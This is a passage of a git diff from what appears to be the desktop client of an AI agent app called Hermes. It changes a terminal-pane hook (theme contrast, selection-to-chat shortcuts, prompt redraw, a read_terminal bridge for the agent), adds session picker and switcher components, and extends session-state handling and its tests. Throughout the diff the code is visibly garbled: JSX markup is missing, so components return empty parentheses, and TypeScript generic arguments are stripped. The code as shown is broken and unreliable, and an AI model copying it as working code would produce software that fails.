+
+ if (sequence) {
+ out += sequence
+ index += sequence.length
+
+ continue
+ }
+ }
+
+ index += 1
+ }
- return text === '' || text === '%'
+ return out
}
function stripInitialPromptGap(data: string) {
@@ -95,6 +122,14 @@ interface UseTerminalSessionOptions {
onAddSelectionToChat: (text: string, label?: string) => void
}
+// Bind the palette to the live skin surface so the terminal blends with the app
+// (and the contrast clamp has a real background to work against).
+function withSurface(theme: ReturnType) {
+ const surface = resolveSurfaceColor(theme.background ?? '#ffffff')
+
+ return { ...theme, background: surface, cursorAccent: surface }
+}
+
function transferHasDropCandidates(t: DataTransfer): boolean {
if (t.types?.includes(HERMES_PATHS_MIME)) {
return true
@@ -184,8 +219,21 @@ function quotePathForShell(path: string, shellName: string): string {
}
export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSessionOptions) {
+ // Key off renderedMode (the painted surface type), not resolvedMode (the
+ // clicked switch) — a skin can keep a light surface in "dark" mode, and we
+ // must match the surface or the ANSI palette inverts against it. themeName
+ // re-resolves the canvas surface on skin switches (same mode, new tint).
+ const { renderedMode, theme, themeName } = useTheme()
+ // Adopt the skin's ANSI palette when it ships one (imported VS Code themes do),
+ // matched to the painted variant; built-in skins carry none, so the terminal
+ // keeps its VS Code defaults. withSurface still owns the background, so this
+ // never touches transparency.
+ const ansiPalette = renderedMode === 'dark' ? (theme.darkTerminal ?? theme.terminal) : theme.terminal
+ const activeTheme = useMemo(() => terminalTheme(renderedMode, ansiPalette), [renderedMode, ansiPalette])
+ const initialThemeRef = useRef(activeTheme)
const hostRef = useRef(null)
const termRef = useRef(null)
+ const webglRef = useRef(null)
const sessionIdRef = useRef(null)
const shellNameRef = useRef('shell')
const selectionLabelRef = useRef('')
@@ -200,19 +248,26 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
onAddSelectionToChatRef.current = onAddSelectionToChat
}, [onAddSelectionToChat])
- const addSelectionToChat = useCallback(() => {
- const selectedText = selectionRef.current || termRef.current?.getSelection() || ''
-
- const label =
- selectionLabelRef.current ||
- (termRef.current ? terminalSelectionLabel(termRef.current, shellNameRef.current, selectedText) : 'selection')
+ // Live selection at call time. A redraw-heavy TUI (spinners, clocks) outruns
+ // onSelectionChange, so trust xterm directly — fall back to the native
+ // selection — rather than the cached ref / React state.
+ const readSelection = useCallback(
+ () => termRef.current?.getSelection() || window.getSelection()?.toString() || '',
+ []
+ )
+ const addSelectionToChat = useCallback(() => {
+ const selectedText = readSelection() || selectionRef.current
const trimmed = selectedText.trim()
if (!trimmed) {
return
}
+ const label =
+ selectionLabelRef.current ||
+ (termRef.current ? terminalSelectionLabel(termRef.current, shellNameRef.current, selectedText) : 'selection')
+
onAddSelectionToChatRef.current(trimmed, label)
termRef.current?.clearSelection()
selectionRef.current = ''
@@ -220,15 +275,14 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
setSelection('')
setSelectionStyle(null)
triggerHaptic('selection')
- }, [])
+ }, [readSelection])
+ // Always listen — gating on the React selection state misses selections the
+ // TUI redraw races. Only swallow ⌘/Ctrl+L when there's text to send, else it
+ // must reach the shell as clear-screen.
useEffect(() => {
- if (!selection.trim()) {
- return
- }
-
const onKeyDown = (event: KeyboardEvent) => {
- if (!isAddSelectionShortcut(event)) {
+ if (!isAddSelectionShortcut(event) || !readSelection().trim()) {
return
}
@@ -240,7 +294,7 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
window.addEventListener('keydown', onKeyDown, { capture: true })
return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
- }, [addSelectionToChat, selection])
+ }, [addSelectionToChat, readSelection])
useEffect(() => {
const host = hostRef.current
@@ -261,12 +315,25 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
allowTransparency: true,
convertEol: true,
cursorBlink: true,
- fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
+ fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
fontSize: 11,
+ fontWeight: '400',
+ fontWeightBold: '700',
+ letterSpacing: 0,
lineHeight: 1.12,
+ // Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
+ // can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
+ // selection over mouse-mode apps, which ⌘/Ctrl+L then sends to chat.
+ macOptionClickForcesSelection: true,
macOptionIsMeta: true,
+ // VS Code/Cursor's secret sauce: terminal.integrated.minimumContrastRatio
+ // defaults to 4.5 there. xterm defaults to 1 (off), which paints the raw
+ // saturated ANSI palette — vivid green/cyan on white reads as candy.
+ // Clamping to 4.5:1 darkens/lightens foregrounds against the background
+ // at render time, matching the muted ink-like look of their terminal.
+ minimumContrastRatio: 4.5,
scrollback: 1000,
- theme: terminalTheme()
+ theme: withSurface(initialThemeRef.current)
})
const fit = new FitAddon()
@@ -276,18 +343,10 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
term.loadAddon(new Unicode11Addon())
term.loadAddon(new WebLinksAddon())
term.unicode.activeVersion = '11'
- term.open(host)
- term.focus()
- // WebGL renderer matches the dashboard ChatPage path; xterm's default DOM
- // renderer paints SGR via CSS classes that visibly mute against our skins.
- try {
- const webgl = new WebglAddon()
- webgl.onContextLoss(() => webgl.dispose())
- term.loadAddon(webgl)
- } catch (err) {
- console.warn('[hermes-terminal] WebGL unavailable; falling back to DOM', err)
- }
+ // Let the GUI chat agent read this pane via the `read_terminal` tool: the
+ // gateway's terminal.read.request handler serializes the buffer through this.
+ setActiveTerminalReader(makeTerminalReader(term))
const onDragOver = (e: DragEvent) => {
if (!e.dataTransfer || !transferHasDropCandidates(e.dataTransfer)) {
@@ -328,6 +387,75 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
host.removeEventListener('drop', onDrop)
})
+ // A fresh prompt should sit at the top. Every resize SIGWINCHes the shell,
+ // which reprints its prompt and can leave stale blank rows above it. While
+ // the session is pristine (nothing run yet) we ask the shell to clear +
+ // redraw via Ctrl-L (\f) after the resize settles. Ctrl-L preserves
+ // multi-line prompts (term.clear() would drop all but the cursor row) and we
+ // stop the moment real output exists, so command scrollback is never wiped.
+ let promptPristine = true
+ let gapCleanupTimer = 0
+
+ // While armed, strip leading blank rows so the prompt lands at the very top
+ // (no starship `add_newline` gap). Re-armed before each Ctrl-L redraw so the
+ // resize cleanup doesn't reintroduce the blank line.
+ let stripLeading = true
+
+ const armedWrite = (data: string) => {
+ if (!stripLeading) {
+ term.write(data)
+
+ return
+ }
+
+ const next = stripInitialPromptGap(data)
+ const visible = stripEscapeSequences(next).replace(/[\s%]/g, '')
+
+ if (!visible) {
+ // Spacer / lone clear-screen / zsh `%` marker: apply control codes but
+ // drop the blank text and stay armed so the prompt still lands at top.
+ const controls = keepEscapeSequences(next)
+
+ if (controls) {
+ term.write(controls)
+ }
+
+ return
+ }
+
+ stripLeading = false
+ term.write(next)
+ }
+
+ const scheduleGapCleanup = () => {
+ if (!promptPristine) {
+ return
+ }
+
+ if (gapCleanupTimer) {
+ window.clearTimeout(gapCleanupTimer)
+ }
+
+ gapCleanupTimer = window.setTimeout(() => {
+ gapCleanupTimer = 0
+ const id = sessionIdRef.current
+
+ if (disposed || !id || !promptPristine) {
+ return
+ }
+
+ stripLeading = true
+ void terminalApi.write(id, '\f')
+ term.clearSelection()
+ }, 120)
+ }
+
+ cleanup.push(() => {
+ if (gapCleanupTimer) {
+ window.clearTimeout(gapCleanupTimer)
+ }
+ })
+
const fitAndResize = () => {
if (disposed || !host.isConnected || host.clientWidth <= 0 || host.clientHeight <= 0) {
return
@@ -344,6 +472,7 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
if (id && (lastSentSize?.cols !== term.cols || lastSentSize?.rows !== term.rows)) {
lastSentSize = { cols: term.cols, rows: term.rows }
void terminalApi.resize(id, { cols: term.cols, rows: term.rows })
+ scheduleGapCleanup()
}
}
@@ -380,6 +509,12 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
const id = sessionIdRef.current
if (id) {
+ // Once the user submits a line, real output may follow — stop the
+ // pristine-prompt gap cleanup so we never clear command scrollback.
+ if (promptPristine && data.includes('\r')) {
+ promptPristine = false
+ }
+
void terminalApi.write(id, data)
}
})
@@ -396,87 +531,88 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
cleanup.push(() => selectionDisposable.dispose())
- term.attachCustomKeyEventHandler(event => {
- if (event.type !== 'keydown') {
- return true
- }
-
- if (isAddSelectionShortcut(event) && term.hasSelection()) {
- event.preventDefault()
- addSelectionToChat()
+ const startSession = () =>
+ void terminalApi
+ .start({ cols: term.cols, cwd, rows: term.rows })
+ .then(session => {
+ if (disposed) {
+ void terminalApi.dispose(session.id)
+
+ return
+ }
+
+ sessionIdRef.current = session.id
+ lastSentSize = { cols: term.cols, rows: term.rows }
+ shellNameRef.current = session.shell || 'shell'
+ setShellName(session.shell || 'shell')
+
+ const initial = term.hasSelection() ? term.getSelection() : ''
+ selectionRef.current = initial
+ selectionLabelRef.current = initial ? terminalSelectionLabel(term, shellNameRef.current, initial) : ''
+
+ setStatus('open')
+
+ cleanup.push(
+ terminalApi.onData(session.id, armedWrite),
+ terminalApi.onExit(session.id, ({ code, signal }) => {
+ setStatus('closed')
+ term.write(`\r\n[terminal exited${signal ? `: ${signal}` : code !== null ? `: ${code}` : ''}]\r\n`)
+ })
+ )
+
+ window.requestAnimationFrame(() => {
+ fitAndResize()
+ term.clearSelection() // drop any selection painted over transient boot rows
+ term.focus()
+ })
+ })
+ .catch(error => {
+ setStatus('closed')
+ term.write(`Terminal failed to start: ${error instanceof Error ? error.message : String(error)}\r\n`)
+ })
- return false
+ // Open + fit + start only once webfonts settle. Fitting with fallback metrics
+ // picks the wrong row count, the shell boots at that size, then the real font
+ // loads -> refit -> SIGWINCH -> the shell reprints its prompt lower, leaving
+ // stale blank rows (and a stray selection) above it.
+ const mount = () => {
+ if (disposed || !host.isConnected) {
+ return
}
- return true
- })
-
- fitAndResize()
-
- void terminalApi
- .start({ cols: term.cols, cwd, rows: term.rows })
- .then(session => {
- if (disposed) {
- void terminalApi.dispose(session.id)
-
- return
- }
-
- sessionIdRef.current = session.id
- lastSentSize = { cols: term.cols, rows: term.rows }
- shellNameRef.current = session.shell || 'shell'
- setShellName(session.shell || 'shell')
-
- if (term.hasSelection()) {
- const currentSelection = term.getSelection()
- selectionRef.current = currentSelection
- selectionLabelRef.current = terminalSelectionLabel(term, shellNameRef.current, currentSelection)
- } else {
- selectionRef.current = ''
- selectionLabelRef.current = ''
- }
-
- setStatus('open')
- let wrotePromptContent = false
+ term.open(host)
+ term.focus()
- cleanup.push(
- terminalApi.onData(session.id, data => {
- if (wrotePromptContent) {
- term.write(data)
+ // WebGL renderer matches the dashboard ChatPage path; xterm's default DOM
+ // renderer paints SGR via CSS classes that visibly mute against our skins.
+ try {
+ const webgl = new WebglAddon()
+ webgl.onContextLoss(() => {
+ webgl.dispose()
+ webglRef.current = null
+ })
+ term.loadAddon(webgl)
+ webglRef.current = webgl
+ } catch (err) {
+ console.warn('[hermes-terminal] WebGL unavailable; falling back to DOM', err)
+ }
- return
- }
+ fitAndResize()
+ startSession()
+ }
- if (isStartupSpacer(data)) {
- return
- }
+ // fonts.ready settles only already-requested faces; bold/italic aren't asked
+ // for until styled output paints (past atlas init), so warm them up front.
+ const warm = document.fonts?.load
+ ? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
+ : Promise.resolve()
- const next = stripInitialPromptGap(data)
-
- if (next) {
- wrotePromptContent = true
- term.write(next)
- }
- }),
- terminalApi.onExit(session.id, sessionExit => {
- const { code, signal } = sessionExit
- setStatus('closed')
- term.write(`\r\n[terminal exited${signal ? `: ${signal}` : code !== null ? `: ${code}` : ''}]\r\n`)
- })
- )
- window.requestAnimationFrame(() => {
- fitAndResize()
- term.focus()
- })
- })
- .catch(error => {
- setStatus('closed')
- term.write(`Terminal failed to start: ${error instanceof Error ? error.message : String(error)}\r\n`)
- })
+ void warm.then(mount, mount)
return () => {
disposed = true
cleanup.forEach(run => run())
+ setActiveTerminalReader(null)
const id = sessionIdRef.current
sessionIdRef.current = null
@@ -487,12 +623,34 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
term.dispose()
termRef.current = null
+ webglRef.current = null
shellNameRef.current = 'shell'
selectionRef.current = ''
selectionLabelRef.current = ''
}
}, [addSelectionToChat, cwd])
+ useEffect(() => {
+ const term = termRef.current
+
+ if (!term) {
+ return
+ }
+
+ // Re-resolve the surface in a rAF: ThemeProvider's applyTheme repaints the
+ // CSS vars in a sibling effect that runs after this one, so reading now
+ // would lag a mode behind. By the next frame the vars are current.
+ const raf = requestAnimationFrame(() => {
+ term.options.theme = withSurface(activeTheme)
+ // The WebGL renderer caches glyph colors in a texture atlas, so a
+ // light/dark switch leaves already-drawn cells stale until the atlas is
+ // cleared. No-op for the DOM fallback.
+ webglRef.current?.clearTextureAtlas()
+ })
+
+ return () => cancelAnimationFrame(raf)
+ }, [activeTheme, themeName])
+
return {
addSelectionToChat,
hostRef,
diff --git a/apps/desktop/src/app/session-picker-overlay.tsx b/apps/desktop/src/app/session-picker-overlay.tsx
new file mode 100644
index 000000000000..65344fcac26b
--- /dev/null
+++ b/apps/desktop/src/app/session-picker-overlay.tsx
@@ -0,0 +1,32 @@
+import { useStore } from '@nanostores/react'
+
+import { SessionPickerDialog } from '@/components/session-picker'
+import { $gatewayState, $selectedStoredSessionId, $sessionPickerOpen, setSessionPickerOpen } from '@/store/session'
+
+interface SessionPickerOverlayProps {
+ onResume: (storedSessionId: string) => void
+}
+
+/**
+ * Mounts the session picker that `/resume` (and `/sessions`, `/switch`) opens —
+ * the desktop equivalent of the TUI's sessions overlay. Resuming runs through
+ * the same `resumeSession` path the sidebar uses.
+ */
+export function SessionPickerOverlay({ onResume }: SessionPickerOverlayProps) {
+ const open = useStore($sessionPickerOpen)
+ const gatewayOpen = useStore($gatewayState) === 'open'
+ const activeStoredSessionId = useStore($selectedStoredSessionId)
+
+ if (!gatewayOpen) {
+ return null
+ }
+
+ return (
+
+ )
+}
diff --git a/apps/desktop/src/app/session-switcher.tsx b/apps/desktop/src/app/session-switcher.tsx
new file mode 100644
index 000000000000..c2e272f173a9
--- /dev/null
+++ b/apps/desktop/src/app/session-switcher.tsx
@@ -0,0 +1,107 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef } from 'react'
+import { createPortal } from 'react-dom'
+import { useNavigate } from 'react-router-dom'
+
+import { sessionTitle } from '@/lib/chat-runtime'
+import { cn } from '@/lib/utils'
+import { $attentionSessionIds, $workingSessionIds } from '@/store/session'
+import { $switcherIndex, $switcherOpen, $switcherSessions, closeSwitcher } from '@/store/session-switcher'
+
+import { HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from './floating-hud'
+import { sessionRoute } from './routes'
+
+// Compact session-switcher HUD — keyboard-driven from `use-keybinds`, rows
+// clickable via mousedown (Ctrl+click on macOS). No Dialog: Tab stays global.
+export function SessionSwitcher() {
+ const open = useStore($switcherOpen)
+ const sessions = useStore($switcherSessions)
+ const index = useStore($switcherIndex)
+ const working = useStore($workingSessionIds)
+ const attention = useStore($attentionSessionIds)
+ const navigate = useNavigate()
+
+ const activeRef = useRef(null)
+
+ useEffect(() => {
+ activeRef.current?.scrollIntoView({ block: 'nearest' })
+ }, [index, open])
+
+ if (!open || sessions.length === 0) {
+ return null
+ }
+
+ const workingIds = new Set(working)
+ const attentionIds = new Set(attention)
+
+ const pick = (sessionId: string) => {
+ closeSwitcher()
+ navigate(sessionRoute(sessionId))
+ }
+
+ return createPortal(
+ <>
+ {/* Transparent click-catcher: click-away closes, but no dim/blur. */}
+ {
+ e.preventDefault()
+ closeSwitcher()
+ }}
+ />
+
+ {sessions.map((session, i) => {
+ const selected = i === index
+
+ return (
+
{
+ e.preventDefault()
+ pick(session.id)
+ }}
+ ref={selected ? activeRef : undefined}
+ >
+
+ {sessionTitle(session)}
+ {i < 9 && (
+
+ ⌃{i + 1}
+
+ )}
+
+ )
+ })}
+
+ >,
+ document.body
+ )
+}
+
+function SwitcherDot({ attention, working }: { attention: boolean; working: boolean }) {
+ return (
+
+ )
+}
diff --git a/apps/desktop/src/app/session/hooks/use-message-stream.ts b/apps/desktop/src/app/session/hooks/use-message-stream.ts
index 382a2cd7f377..442435956ac8 100644
--- a/apps/desktop/src/app/session/hooks/use-message-stream.ts
+++ b/apps/desktop/src/app/session/hooks/use-message-stream.ts
@@ -1,6 +1,7 @@
import type { QueryClient } from '@tanstack/react-query'
import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+import { readActiveTerminal } from '@/app/right-sidebar/terminal/buffer'
import {
appendAssistantTextPart,
appendReasoningPart,
@@ -18,6 +19,7 @@ import { gatewayEventRequiresSessionId } from '@/lib/gateway-events'
import { triggerHaptic } from '@/lib/haptics'
import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
import { setClarifyRequest } from '@/store/clarify'
+import { $gateway } from '@/store/gateway'
import { notify } from '@/store/notifications'
import { requestDesktopOnboarding } from '@/store/onboarding'
import { clearAllPrompts, setApprovalRequest, setSecretRequest, setSudoRequest } from '@/store/prompts'
@@ -62,6 +64,67 @@ interface QueuedStreamDeltas {
reasoning: string
}
+type SessionRuntimeStatePatch = Partial<
+ Pick<
+ ClientSessionState,
+ | 'branch'
+ | 'cwd'
+ | 'fast'
+ | 'model'
+ | 'personality'
+ | 'provider'
+ | 'reasoningEffort'
+ | 'serviceTier'
+ | 'yolo'
+ >
+>
+
+function sessionInfoStatePatch(payload: GatewayEventPayload | undefined): SessionRuntimeStatePatch {
+ const patch: SessionRuntimeStatePatch = {}
+
+ if (typeof payload?.model === 'string') {
+ patch.model = payload.model || ''
+ }
+
+ if (typeof payload?.provider === 'string') {
+ patch.provider = payload.provider || ''
+ }
+
+ if (typeof payload?.cwd === 'string') {
+ patch.cwd = payload.cwd
+ }
+
+ if (typeof payload?.branch === 'string') {
+ patch.branch = payload.branch
+ }
+
+ if (typeof payload?.personality === 'string') {
+ patch.personality = normalizePersonalityValue(payload.personality)
+ }
+
+ if (typeof payload?.reasoning_effort === 'string') {
+ patch.reasoningEffort = payload.reasoning_effort
+ }
+
+ if (typeof payload?.service_tier === 'string') {
+ patch.serviceTier = payload.service_tier
+ }
+
+ if (typeof payload?.fast === 'boolean') {
+ patch.fast = payload.fast
+ }
+
+ if (typeof payload?.yolo === 'boolean') {
+ patch.yolo = payload.yolo
+ }
+
+ return patch
+}
+
+function hasSessionInfoStatePatch(patch: SessionRuntimeStatePatch): boolean {
+ return Object.keys(patch).length > 0
+}
+
// Minimum gap between two assistant-text flushes during a stream. Was 16ms
// (rAF only), which at typical LLM token rates of ~30-80 tok/sec meant every
// token got its own React commit + Streamdown markdown re-parse, scaling
@@ -626,13 +689,13 @@ export function useMessageStream({
// Apply session-scoped fields when the event targets the active
// session, OR when it's a global broadcast and we have no session.
const apply = explicitSid ? isActiveEvent : !activeSessionIdRef.current
+ const statePatch = sessionInfoStatePatch(payload)
+ const hasStatePatch = hasSessionInfoStatePatch(statePatch)
const modelChanged = typeof payload?.model === 'string'
const providerChanged = typeof payload?.provider === 'string'
const runningChanged = typeof payload?.running === 'boolean'
if (apply) {
- const runtimeInfo: { branch?: string; cwd?: string } = {}
-
if (modelChanged) {
setCurrentModel(payload!.model || '')
}
@@ -643,20 +706,10 @@ export function useMessageStream({
if (typeof payload?.cwd === 'string') {
setCurrentCwd(payload.cwd)
- runtimeInfo.cwd = payload.cwd
}
if (typeof payload?.branch === 'string') {
setCurrentBranch(payload.branch)
- runtimeInfo.branch = payload.branch
- }
-
- if (sessionId && (runtimeInfo.cwd !== undefined || runtimeInfo.branch !== undefined)) {
- updateSessionState(sessionId, state => ({
- ...state,
- branch: runtimeInfo.branch ?? state.branch,
- cwd: runtimeInfo.cwd ?? state.cwd
- }))
}
if (typeof payload?.personality === 'string') {
@@ -678,7 +731,18 @@ export function useMessageStream({
if (typeof payload?.yolo === 'boolean') {
setYoloActive(payload.yolo)
}
+ }
+
+ if (sessionId && hasStatePatch) {
+ updateSessionState(sessionId, state => ({
+ ...state,
+ ...statePatch,
+ branch: statePatch.branch ?? state.branch,
+ cwd: statePatch.cwd ?? state.cwd
+ }))
+ }
+ if (apply) {
if (runningChanged && sessionId) {
updateSessionState(sessionId, state => {
const busy = Boolean(payload!.running)
@@ -869,6 +933,8 @@ export function useMessageStream({
// raise it and wait — the sidebar flags "needs input" and the inline bar
// surfaces once the user focuses that chat.
setApprovalRequest({
+ // false only when a tirith warning forbids it; backend omits the field otherwise.
+ allowPermanent: payload?.allow_permanent !== false,
command: typeof payload?.command === 'string' ? payload.command : '',
description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
sessionId: sessionId ?? null
@@ -906,6 +972,21 @@ export function useMessageStream({
updateSessionState(sessionId, state => ({ ...state, needsInput: true }))
}
}
+ } else if (event.type === 'terminal.read.request') {
+ // read_terminal tool: serialize the renderer's xterm buffer and answer
+ // immediately (Python blocks on the respond). Empty text = no live pane.
+ const requestId = typeof payload?.request_id === 'string' ? payload.request_id : ''
+
+ if (requestId) {
+ const start = typeof payload?.start === 'number' ? payload.start : undefined
+ const count = typeof payload?.count === 'number' ? payload.count : undefined
+ const result = readActiveTerminal({ start, count })
+
+ void $gateway.get()?.request('terminal.read.respond', {
+ request_id: requestId,
+ text: result ? JSON.stringify(result) : ''
+ })
+ }
} else if (event.type === 'error') {
const errorMessage = payload?.message || 'Hermes reported an error'
const looksLikeProviderSetup = isProviderSetupErrorMessage(errorMessage)
diff --git a/apps/desktop/src/app/session/hooks/use-model-controls.test.tsx b/apps/desktop/src/app/session/hooks/use-model-controls.test.tsx
new file mode 100644
index 000000000000..8f52018982a5
--- /dev/null
+++ b/apps/desktop/src/app/session/hooks/use-model-controls.test.tsx
@@ -0,0 +1,77 @@
+import { renderHook } from '@testing-library/react'
+import { QueryClient } from '@tanstack/react-query'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { getGlobalModelInfo } from '@/hermes'
+import {
+ $activeSessionId,
+ $currentModel,
+ $currentProvider,
+ setCurrentModel,
+ setCurrentProvider
+} from '@/store/session'
+
+import { useModelControls } from './use-model-controls'
+
+vi.mock('@/hermes', () => ({
+ getGlobalModelInfo: vi.fn(),
+ setGlobalModel: vi.fn()
+}))
+
+describe('useModelControls.refreshCurrentModel', () => {
+ beforeEach(() => {
+ $activeSessionId.set(null)
+ setCurrentModel('')
+ setCurrentProvider('')
+ })
+
+ afterEach(() => {
+ vi.restoreAllMocks()
+ $activeSessionId.set(null)
+ setCurrentModel('')
+ setCurrentProvider('')
+ })
+
+ it('applies the global model when there is no active runtime session', async () => {
+ vi.mocked(getGlobalModelInfo).mockResolvedValue({
+ model: 'openai/gpt-5.5',
+ provider: 'openai-codex'
+ })
+
+ const { result } = renderHook(() =>
+ useModelControls({
+ activeSessionId: null,
+ queryClient: new QueryClient(),
+ requestGateway: vi.fn()
+ })
+ )
+
+ await result.current.refreshCurrentModel()
+
+ expect($currentModel.get()).toBe('openai/gpt-5.5')
+ expect($currentProvider.get()).toBe('openai-codex')
+ })
+
+ it('does not clobber the active session footer state with global model info', async () => {
+ setCurrentModel('deepseek/deepseek-v4-pro')
+ setCurrentProvider('deepseek')
+ $activeSessionId.set('runtime-1')
+ vi.mocked(getGlobalModelInfo).mockResolvedValue({
+ model: 'openai/gpt-5.5',
+ provider: 'openai-codex'
+ })
+
+ const { result } = renderHook(() =>
+ useModelControls({
+ activeSessionId: 'runtime-1',
+ queryClient: new QueryClient(),
+ requestGateway: vi.fn()
+ })
+ )
+
+ await result.current.refreshCurrentModel()
+
+ expect($currentModel.get()).toBe('deepseek/deepseek-v4-pro')
+ expect($currentProvider.get()).toBe('deepseek')
+ })
+})
diff --git a/apps/desktop/src/app/session/hooks/use-model-controls.ts b/apps/desktop/src/app/session/hooks/use-model-controls.ts
index 1a04b19da76c..525c8d8385b8 100644
--- a/apps/desktop/src/app/session/hooks/use-model-controls.ts
+++ b/apps/desktop/src/app/session/hooks/use-model-controls.ts
@@ -4,7 +4,13 @@ import { useCallback } from 'react'
import { getGlobalModelInfo, setGlobalModel } from '@/hermes'
import { useI18n } from '@/i18n'
import { notifyError } from '@/store/notifications'
-import { $currentModel, $currentProvider, setCurrentModel, setCurrentProvider } from '@/store/session'
+import {
+ $activeSessionId,
+ $currentModel,
+ $currentProvider,
+ setCurrentModel,
+ setCurrentProvider
+} from '@/store/session'
import type { ModelOptionsResponse } from '@/types/hermes'
interface ModelSelection {
@@ -39,6 +45,13 @@ export function useModelControls({ activeSessionId, queryClient, requestGateway
try {
const result = await getGlobalModelInfo()
+ // A resumed/live session owns the footer model state. Global config
+ // refreshes (gateway boot, profile swap, settings save) must not clobber
+ // the active chat's runtime model/provider in the status bar.
+ if ($activeSessionId.get()) {
+ return
+ }
+
if (typeof result.model === 'string') {
setCurrentModel(result.model)
}
diff --git a/apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx b/apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx
index d0bdc37a8e2e..e7dfe9d7da5b 100644
--- a/apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx
+++ b/apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx
@@ -1,14 +1,13 @@
-import { cleanup, render } from '@testing-library/react'
+import { cleanup, render, waitFor } from '@testing-library/react'
import type { MutableRefObject } from 'react'
-import { useEffect } from 'react'
+import { useEffect, useRef } from 'react'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { $sessions, setSessions } from '@/store/session'
-import { $connection } from '@/store/session'
-import type { ComposerAttachment } from '@/store/composer'
+import { $composerAttachments, type ComposerAttachment } from '@/store/composer'
+import { $connection, $sessions, setSessions } from '@/store/session'
import type { SessionInfo } from '@/types/hermes'
-import { usePromptActions } from './use-prompt-actions'
+import { uploadComposerAttachment, usePromptActions } from './use-prompt-actions'
vi.mock('@/hermes', () => ({
getProfiles: vi.fn(async () => ({ profiles: [] })),
@@ -43,6 +42,7 @@ function sessionInfo(overrides: Partial
= {}): SessionInfo {
}
interface HarnessHandle {
+ cancelRun: () => Promise
steerPrompt: (text: string) => Promise
submitText: (
text: string,
@@ -56,6 +56,7 @@ function Harness({
onSeedState,
refreshSessions,
requestGateway,
+ resumeStoredSession,
storedSessionId
}: {
busyRef?: MutableRefObject
@@ -63,6 +64,7 @@ function Harness({
onSeedState?: (state: Record) => void
refreshSessions: () => Promise
requestGateway: (method: string, params?: Record) => Promise
+ resumeStoredSession?: (storedSessionId: string) => Promise | void
storedSessionId?: null | string
}) {
const activeSessionIdRef: MutableRefObject = { current: RUNTIME_SESSION_ID }
@@ -70,6 +72,12 @@ function Harness({
current: storedSessionId === undefined ? RUNTIME_SESSION_ID : storedSessionId
}
const localBusyRef = busyRef ?? { current: false }
+ const stateRef = useRef({
+ messages: [],
+ busy: false,
+ awaitingResponse: false,
+ interrupted: true
+ } as never)
const actions = usePromptActions({
activeSessionId: RUNTIME_SESSION_ID,
@@ -80,17 +88,14 @@ function Harness({
handleSkinCommand: () => '',
refreshSessions,
requestGateway,
+ resumeStoredSession: resumeStoredSession ?? (() => undefined),
selectedStoredSessionIdRef,
startFreshSessionDraft: () => undefined,
sttEnabled: false,
updateSessionState: (_sessionId, updater) => {
// Seed with interrupted:true so we can prove a fresh submit clears it.
- const next = updater({
- messages: [],
- busy: false,
- awaitingResponse: false,
- interrupted: true
- } as never) as unknown as Record
+ const next = updater(stateRef.current) as unknown as Record
+ stateRef.current = next as never
onSeedState?.(next)
return next as never
@@ -98,8 +103,12 @@ function Harness({
})
useEffect(() => {
- onReady({ steerPrompt: actions.steerPrompt, submitText: actions.submitText })
- }, [actions.steerPrompt, actions.submitText, onReady])
+ onReady({
+ cancelRun: actions.cancelRun,
+ steerPrompt: actions.steerPrompt,
+ submitText: actions.submitText
+ })
+ }, [actions.cancelRun, actions.steerPrompt, actions.submitText, onReady])
return null
}
@@ -191,6 +200,68 @@ describe('usePromptActions /title', () => {
})
})
+describe('usePromptActions desktop slash pickers', () => {
+ beforeEach(() => {
+ setSessions(() => [sessionInfo({ id: '20260610_120000_abcdef', title: 'Loaded session' })])
+ })
+
+ afterEach(() => {
+ cleanup()
+ vi.useRealTimers()
+ vi.restoreAllMocks()
+ })
+
+ it('resumes an exact session id even when it is not in the loaded sidebar cache', async () => {
+ const resumeStoredSession = vi.fn(async () => undefined)
+ const requestGateway = vi.fn(async () => ({}) as never)
+
+ let handle: HarnessHandle | null = null
+ render(
+ (handle = h)}
+ refreshSessions={async () => undefined}
+ requestGateway={requestGateway}
+ resumeStoredSession={resumeStoredSession}
+ />
+ )
+
+ await handle!.submitText('/resume 20260610_130000_123abc')
+
+ expect(resumeStoredSession).toHaveBeenCalledWith('20260610_130000_123abc')
+ expect(requestGateway).not.toHaveBeenCalledWith('slash.exec', expect.anything())
+ })
+
+ it('marks a timed-out handoff as failed so the next attempt can retry', async () => {
+ vi.useFakeTimers()
+ const calls: { method: string; params?: Record }[] = []
+ const requestGateway = vi.fn(async (method: string, params?: Record) => {
+ calls.push({ method, params })
+
+ if (method === 'handoff.state') {
+ return { state: 'pending' } as never
+ }
+
+ return {} as never
+ })
+
+ let handle: HarnessHandle | null = null
+ render( (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+ const result = handle!.submitText('/handoff telegram')
+ await vi.advanceTimersByTimeAsync(61_000)
+ await result
+
